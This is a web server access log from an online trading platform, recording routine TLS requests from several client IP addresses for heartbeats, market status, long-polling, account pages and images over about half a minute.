[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930368173 HTTP/1.1" -
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930368707 HTTP/1.1" -
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930368651 HTTP/1.1" -
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 205
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930370720 HTTP/1.1" -
[09/Jan/2026:11:41:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1447
[09/Jan/2026:11:41:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930373314 HTTP/1.1" -
[09/Jan/2026:11:41:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930373743 HTTP/1.1" -
[09/Jan/2026:11:41:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930373721 HTTP/1.1" -
[09/Jan/2026:11:41:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930375790 HTTP/1.1" -
[09/Jan/2026:11:41:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930378454 HTTP/1.1" -
[09/Jan/2026:11:41:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930378784 HTTP/1.1" -
[09/Jan/2026:11:41:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930378805 HTTP/1.1" -
[09/Jan/2026:11:41:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930380860 HTTP/1.1" -
[09/Jan/2026:11:41:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:41:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:41:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930383584 HTTP/1.1" -
[09/Jan/2026:11:41:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930383812 HTTP/1.1" -
[09/Jan/2026:11:41:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930383838 HTTP/1.1" -
[09/Jan/2026:11:41:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930386304 HTTP/1.1" -
[09/Jan/2026:11:41:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930388835 HTTP/1.1" -
[09/Jan/2026:11:41:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930388639 HTTP/1.1" -
[09/Jan/2026:11:41:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:41:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930388872 HTTP/1.1" -
[09/Jan/2026:11:42:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930391376 HTTP/1.1" -
[09/Jan/2026:11:42:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930393878 HTTP/1.1" -
[09/Jan/2026:11:42:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930393787 HTTP/1.1" -
[09/Jan/2026:11:42:06 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:11:42:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930393937 HTTP/1.1" -
[09/Jan/2026:11:42:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930396527 HTTP/1.1" -
[09/Jan/2026:11:42:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:42:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930398919 HTTP/1.1" -
[09/Jan/2026:11:42:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930398831 HTTP/1.1" -
[09/Jan/2026:11:42:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:42:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04_o.jpg HTTP/1.1" 3289
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account.html HTTP/1.1" 57
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_pwupdate.html HTTP/1.1" 687
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/getPasswordPolicy HTTP/1.1" 209
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/cancel.gif HTTP/1.1" 542
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/point_blue.gif HTTP/1.1" 51
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/submit.gif HTTP/1.1" 374
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Info HTTP/1.1" 212
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:42:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930399022 HTTP/1.1" -
[09/Jan/2026:11:42:11 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:42:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930401641 HTTP/1.1" -
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 205
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:42:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
